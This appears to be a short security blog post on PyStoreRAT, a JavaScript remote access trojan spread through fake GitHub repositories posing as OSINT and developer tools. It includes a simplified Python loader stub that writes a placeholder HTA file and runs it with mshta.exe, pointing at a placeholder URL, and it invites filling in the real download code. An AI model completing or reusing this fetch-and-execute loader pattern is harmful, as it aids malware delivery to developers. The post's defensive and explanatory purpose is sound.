PyStoreRAT: GitHub-Distributed JavaScript RAT Targets Developers

PyStoreRAT: GitHub-Distributed JavaScript RAT Targets Developers

Researchers have uncovered a campaign distributing PyStoreRAT, a modular JavaScript-based Remote Access Trojan (RAT), via deceptive Python repositories on GitHub. These repositories masquerade as legitimate OSINT tools and developer utilities, silently downloading and executing malicious HTA files.

The campaign exploits trust in GitHub by publishing repositories with minimal code that downloads and executes a remote HTML Application (HTA), delivering the PyStoreRAT malware. This approach allows attackers to bypass initial security checks and gain a foothold on target systems.

Why This Matters

The reliance on GitHub as a distribution vector highlights the challenge of securing the software supply chain. While GitHub offers robust security features, the sheer volume of uploaded code and the ease of creating new repositories make it a fertile ground for malicious actors. This campaign demonstrates the potential for significant compromise, with the malware capable of stealing cryptocurrency wallet data and executing arbitrary commands, impacting potentially hundreds of systems as seen with the SetcodeRat campaign.

Key Insights

• PyStoreRAT is modular: It can execute various file types including EXE, DLL, PowerShell, and Python scripts.
• HTA/JS execution: The malware utilizes HTML Applications and JavaScript for stealthy execution, often bypassing traditional EDR detection.
• GitHub abuse: Attackers leverage GitHub’s trust and trending algorithms to distribute malware, mimicking legitimate projects and inflating metrics.

Working Example

# Example Python loader stub (simplified)
import os
import subprocess

def download_and_execute(url):
    try:
        # Simulate downloading the HTA file (replace with actual download code)
        hta_file = "malicious.hta"
        with open(hta_file, "w") as f:
            f.write("<!-- Malicious HTA content -->")

        # Execute the HTA file using mshta.exe
        subprocess.run(["mshta.exe", hta_file], check=True)
    except Exception as e:
        print(f"Error: {e}")

# Replace with the actual URL of the malicious HTA file
hta_url = "http://example.com/malicious.hta"
download_and_execute(hta_url)

Practical Applications

• Security Audits: Organizations should audit dependencies and code hosted on platforms like GitHub for malicious behavior.
• Pitfall: Relying solely on repository stars or forks as an indicator of trustworthiness can lead to the execution of malicious code.

References:

• https://thehackernews.com/2025/12/fake-osint-and-gpt-utility-github-repos.html